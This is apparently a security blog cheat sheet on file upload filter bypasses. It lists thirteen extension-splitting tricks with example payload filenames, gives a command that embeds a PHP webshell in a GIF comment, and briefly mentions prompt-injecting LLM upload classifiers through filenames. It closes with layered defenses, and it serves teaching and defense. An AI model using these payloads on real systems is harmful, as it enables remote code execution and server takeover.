- Extension checks aren't security.
- Attackers bypass file upload filters with double extensions, null bytes, NTFS alternate data streams, RTL overrides, and magic byte forgery — all leading to RCE.
- Here's the full cheat sheet and how to defend.
TL;DR
If your file upload validation relies only on extension checks, it's already broken. Attackers have at least 13 distinct tricks to sneak a .php webshell past filters that look for .jpg — double extensions, URL-encoded delimiters, null bytes (%00), newline injection (%0a), NTFS alternate data streams (file.asax:.jpg), RTL Unicode overrides, trailing dots, magic byte forgery (GIF89a prepended to PHP), and more. A successful bypass typically ends in Remote Code Execution. Defense requires 6–10 stacked layers, not one regex.
What this cheat sheet covers
A recent viral post from @hackinarticles (credit @therceman) resurfaced the classic Extension Splitting playbook for bug bounty hunters. The techniques aren't new — OWASP has documented most of them for a decade — but they keep working because developers keep shipping validation that looks at a filename string instead of the actual file.
This post consolidates the cheat sheet with concrete payloads, maps each trick to the attacks it enables (RCE, XSS, SSRF, XXE, LFI, DoS), and lists the defense stack that actually holds.
Why it matters
File upload is one of the highest-value primitives in bug bounty. A single successful upload bypass often hands you a webshell, which means full server compromise and pivoting into internal networks. HackerOne and Bugcrowd reports routinely pay $1,000–$15,000+ for RCE via upload. OWASP classifies Unrestricted File Upload as high severity — high impact, high likelihood, common prevalence.
And yet the class of bug refuses to die. Real incidents in the last few years: ZipSlip (2018, affected HP, Amazon, Apache, Pivotal); ImageTragick CVE-2016-3714; ExifTool DjVu RCE hitting GitLab; CVE-2018-14364 GitLab tar slip.
The 13 extension-splitting tricks
| # | Trick | Example payload | Why it works |
|---|---|---|---|
| 1 | Double extension | shell.jpg.php, script.php.gif | Apache executes .php.gif as PHP; lazy regex accepts .jpg anywhere |
| 2 | Null byte | shell.php%00.jpg | C/PHP truncate string at \x00; validator sees .jpg, FS saves .php |
| 3 | Newline / CR / tab | file.png%0a.php, file.png\x0d\x0a.svg, file.png%09.php | Parsers split on control chars differently than storage layer |
| 4 | Fragment / hash | file.png%23.php | Some parsers treat # as URL fragment and trim |
| 5 | IIS6 semicolon | file.asp;.jpg | Legacy IIS executes the first extension before ; |
| 6 | NTFS alternate data stream | file.asax:.jpg, file.asp::$data. | Windows creates empty .asax file; ADS writes real content |
| 7 | Trailing dot (Windows) | shell.aspx., file.asp. | Windows strips trailing dot on save — bypasses blacklist |
| 8 | Trailing space | script.asp , file.asp....... | Windows strips trailing whitespace |
| 9 | Case variation | shell.pHp, PHp3, .aSpX | Case-sensitive regex miss mixed-case |
| 10 | RTL Unicode override | file.%E2%80%AEphp.jpg | U+202E flips display; validator sees .jpg, server executes .php |
| 11 | Less-common executable extensions | .phtml, .php3, .php5, .pht, .shtml, .asa, .cer, .asax, .ashx, .jspx, .cfm | Denylists routinely miss these |
| 12 | Content-Type spoof | Flip header application/x-php → image/gif in Burp | MIME is user-controlled, trivial to spoof |
| 13 | Magic byte forgery | Prepend GIF89a to PHP shell | Defeats mime_content_type() and naive file checks |
Common magic bytes worth memorising: GIF = GIF89a;\x0a, PDF = %PDF-, JPG = \xFF\xD8\xFF\xDB, PNG = \x89\x50\x4E\x47\x0D\x0A\x1A\x0A, XML = <?xml.
Beating getimagesize()
When the app does a stricter check like PHP's getimagesize() (which verifies real image dimensions), a simple byte prefix won't work. Embed the shell in real metadata instead:
gifsicle < real.gif --comment "<?php system(\$_GET['cmd']); ?>" > shell.php.gifResult: a structurally valid GIF that contains executable PHP in a comment section. Pair with trick #1 (double extension) and Apache happily runs it.
Impact by file type
| Upload that sneaks through | Attack unlocked |
|---|---|
| PHP, PHP3/4/5, PHTML, ASP, ASPX, JSP, JSPX, CFM, SCF | Webshell → RCE → full server takeover |
| SVG | Stored XSS, SSRF, XXE (SVG is XML + JS) |
| XML, DOCX, XLSX, PPTX | XXE / Blind XXE → internal file disclosure |
| HTML, JS | Stored XSS, HTML injection, open redirect |
| ZIP, TAR, RAR, 7Z | ZipSlip path traversal → arbitrary file write → RCE; ZIP bomb → DoS |
| CSV | CSV formula injection (Excel DDE/macro abuse) |
| PDF, AVI | SSRF, Blind XXE, LFI via media libraries |
| PNG, JPEG | Pixel flood DoS; ImageTragick RCE if ImageMagick used |
How to actually defend (the layered stack)
No single check is sufficient. Ship all of these:
- Allowlist extensions after decoding the filename. Block everything else. Never denylist.
- Rename to UUID/GUID on save — discard the user-provided filename entirely. Kills tricks #1–#10 at the storage layer.
- Single-dot regex:
^[a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}$. Strip control chars and Unicode. - Validate magic bytes — but only as a layer, never standalone.
- Rewrite images (decode + re-encode) to destroy embedded payloads. Use CDR (Content Disarm & Reconstruct) for PDFs and Office docs.
- Store outside webroot or on an isolated host/domain.
- No execute permission on upload directories; remove script handlers.
- Size limits (min + max). For archives, calculate decompressed size first — zip bombs.
- AV / sandbox scan (VirusTotal API, ClamAV) before publication.
- Content-Type as a hint only. Don't trust it.
- CSRF tokens on upload endpoints.
- Auth + authz — only trusted roles upload, and only to their own namespace.
- Block config files —
.htaccessandweb.configmust never land in an upload dir, even if renamed.
What's next
Extension splitting is ~15 years old and still lands RCE in 2026. The attack surface is shifting toward polyglot files (valid image + valid script), LLM-based upload classifiers (which themselves get bypassed via prompt injection in filenames and EXIF metadata), and chained primitives — upload → SSRF → internal RCE rather than a direct webshell.
The defensive frontier is CDR + sandboxed rendering, now becoming standard in SaaS platforms. But until every upload endpoint rewrites content and stores on an isolated host, the cheat sheet you just read will keep paying bounties.
Think like an attacker. Validate like a defender.
Sources: OWASP File Upload Cheat Sheet, OWASP Unrestricted File Upload, Undercode Testing, Steflan Security, OnSecurity, 0xn3va, KathanP19 HowToHunt. Credit original post: @hackinarticles / @therceman.

